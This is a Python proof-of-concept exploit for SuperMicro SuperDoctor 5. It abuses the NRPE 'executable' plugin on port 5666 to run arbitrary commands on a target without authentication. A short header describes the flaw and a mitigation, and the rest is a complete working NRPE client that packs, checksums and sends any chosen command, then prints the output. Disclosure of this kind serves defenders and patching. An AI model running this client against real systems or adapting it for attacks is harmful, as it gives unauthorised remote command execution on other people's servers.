1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145 | # SuperMicro implemented a Remote Command Execution plugin in their implementation of
# NRPE in SuperDocter 5, which is their monitoring utility for SuperMicro chassis'.
# This is an intended feature but leaves the system open (by default) to unauthenticated
# remote command execution by abusing the 'executable' plugin with an NRPE client.
#
# For your pleasure, here is a PoC Python NRPE Client that will connect, execute the
# cmd of choice and return its output.
#
# To mitigate this vulnerbility, edit your agent.cfg to specificy which IPs are allowed
# to execute NRPE commands agaist the system and/or block traffic on port 5666.
#
# NRPE cannot be disabled in this software, see Guide section 3.2
#Author: Simon Gurney
#Date: 23/05/2019
#Vendor: SuperMicro
#Product: SuperMicro Super Doctor 5
#Version: 5
#Guide: ftp://supermicro.com/ISO_Extracted/CDR-C9_V1.00_for_Intel_C9_platform/SuperDoctor_V/Linux/SuperDoctor5_UserGuide.pdf
### Configurables
command = "ping 1.1.1.1 -n 1"
target = "1.2.3.4"
target_port = 5666
### Don't need to change anything below
import binascii
import struct
import socket
import ssl
#### Struct Encoding Types
StructCodeInt16 = "!h" ## Unsigned Int16
StructCodeInt32 = "!L" ## Unsigned Int32
#### NRPE Specific definitions
NRPE_Version = ("","One", "Two", "Three")
NRPE_Packet_Type = ("", "Query", "Response")
NRPE_Response = ("Ok", "Warning", "Critical", "Unknown")
NRPE_Version_1 = 1
NRPE_Version_2 = 2
NRPE_Version_3 = 3
NRPE_Packet_Type_Query = 1
NRPE_Packet_Type_Response = 2
NRPE_Response_Ok = 0
NRPE_Response_Warning = 1
NRPE_Response_Critical = 2
NRPE_Response_Unknown = 3
NRPE_Response_Type_Query = 3
#### RandomDefintions
NullByte = b"\x00"
TwoCharSuffix = "SG"
class NRPEpacket:
port = 5666
server = "127.0.0.1"
nrpeVersion = NRPE_Version_2
nrpePacketType = NRPE_Packet_Type_Query
nrpeResponseCode = NRPE_Response_Type_Query
ownSocket = None
def CalculateCRC(self):
tempBuffer = struct.pack(StructCodeInt16,self.nrpeVersion)
tempBuffer += struct.pack(StructCodeInt16,self.nrpePacketType)
tempBuffer += NullByte * 4
tempBuffer += struct.pack(StructCodeInt16,self.nrpeResponseCode)
tempBuffer += self.content
return (struct.pack(StructCodeInt32, binascii.crc32(tempBuffer) & 0xffffffff))
def PadTo1024Bytes(self,command):
if len(command) <= 1024:
tempBuffer = command
else:
Error("Command string is too long!")
while len(tempBuffer) < 1024:
tempBuffer += "\x00"
tempBuffer += TwoCharSuffix
return tempBuffer.encode()
def Connect(self):
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.connect((self.server,self.port))
def WrapSSL(self):
self.socket = ssl.wrap_socket(self.socket,cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23, ciphers="ALL")
def Send(self):
tempBuffer = struct.pack(StructCodeInt16,self.nrpeVersion)
tempBuffer += struct.pack(StructCodeInt16,self.nrpePacketType)
tempBuffer += self.crc
tempBuffer += struct.pack(StructCodeInt16,self.nrpeResponseCode)
tempBuffer += self.content
self.socket.send(tempBuffer)
def Recv(self):
tempBuffer = self.socket.recv(2048)
self.nrpeVersion = struct.unpack(StructCodeInt16,tempBuffer[0:2])[0]
self.nrpePacketType = struct.unpack(StructCodeInt16,tempBuffer[2:4])[0]
self.crc = tempBuffer[4:8]
self.nrpeResponseCode = struct.unpack(StructCodeInt16,tempBuffer[8:10])[0]
self.content = tempBuffer[10:]
if self.crc != self.CalculateCRC():
print ("CRC does not match!")
def PrintOut(self):
print(" -=-=-=-= Begin NRPE Content =-=-=-=-")
print("| NRPE Version = %i - %s" % (self.nrpeVersion,NRPE_Version[self.nrpeVersion]))
print("| NRPE Packet Type = %i - %s" % (self.nrpePacketType,NRPE_Packet_Type[self.nrpePacketType]))
print("| NRPE Packet CRC = %i" % struct.unpack(StructCodeInt32,self.crc)[0])
print("| NRPE Response Code = %i - %s" % (self.nrpeResponseCode,NRPE_Response[self.nrpeResponseCode]))
print("| Packet Content:")
print("| %s" % self.content.decode().strip(TwoCharSuffix).strip("\x00"))
print(" -=-=-=-= End NRPE Content =-=-=-=-")
def Close(self):
if not self.ownSocket:
self.socket.close()
def AutoSend(self):
print("Sending...")
self.PrintOut()
self.Send()
print("Receiving...")
self.Recv()
self.PrintOut()
self.Close()
def __init__(self, command, socket=None, server=None, port = None, ssl=True):
self.content = self.PadTo1024Bytes(command)
self.crc = self.CalculateCRC()
if server:
self.server = server
if port:
self.port = port
if not socket:
self.Connect()
else:
self.socket = socket
self.ownSocket = True
if ssl == True:
self.WrapSSL()
#NRPE CMD format is "executable!<binary>!<arguments> i.e."
#NRPEpacket("executable!ping!1.1.1.1 -n 1", server="1.2.3.4").AutoSend()
split = command.split(" ",1)
cmd = "executable!" + split[0] + "!" + split[1]
NRPEpacket(cmd, server=target, port=target_port).AutoSend()
|